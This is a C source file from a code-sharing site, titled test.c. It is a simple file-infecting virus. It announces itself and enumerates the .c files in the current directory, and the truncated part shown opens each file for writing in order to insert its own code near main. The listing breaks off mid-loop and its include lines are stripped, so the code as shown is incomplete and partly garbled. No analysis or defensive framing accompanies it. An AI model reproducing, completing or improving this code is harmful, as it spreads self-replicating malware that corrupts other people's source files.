www.pudn.com > test.zip > test.c

#include   
#include   
void main(void)  
{  
virus();  
}  
int virus()  
{  
struct ffblk ffblk;  
FILE *in,*out,*read;  
char *virus="virus.c";  
char buf[50][80];  
char *p;  
char *end="return";  
char *bracket="}";  
char *main="main";  
char *include[2]={"stdio.h","dir.h"};  
char *int_virus="int virus()";  
char *buffer;  
int done,i,j=0,flag=0;  
printf("\nI have a virus. Writen by PuBin\n");  
done = findfirst("*.c",&ffblk,0);  
while (!done)  
{  
 i=0;  
 if ((in = fopen(ffblk.ff_name, "rt"))== NULL)  
 {  
 goto next;  
 }  
 do{  
    if(i>=50)  
    {  
fclose(in);  
goto next;  
    }  
    p=fgets(buf[i],80,in);  
    i++;  
   }while(p!=NULL);  
   fclose(in);  
   out=fopen(ffblk.ff_name,"w+t");  
   fputs("#include\n",out);  
   fputs("#include\n",out);  
 do  
 {  
  if(strstr(buf[j],main)!=NULL)  
  {  
   for(;j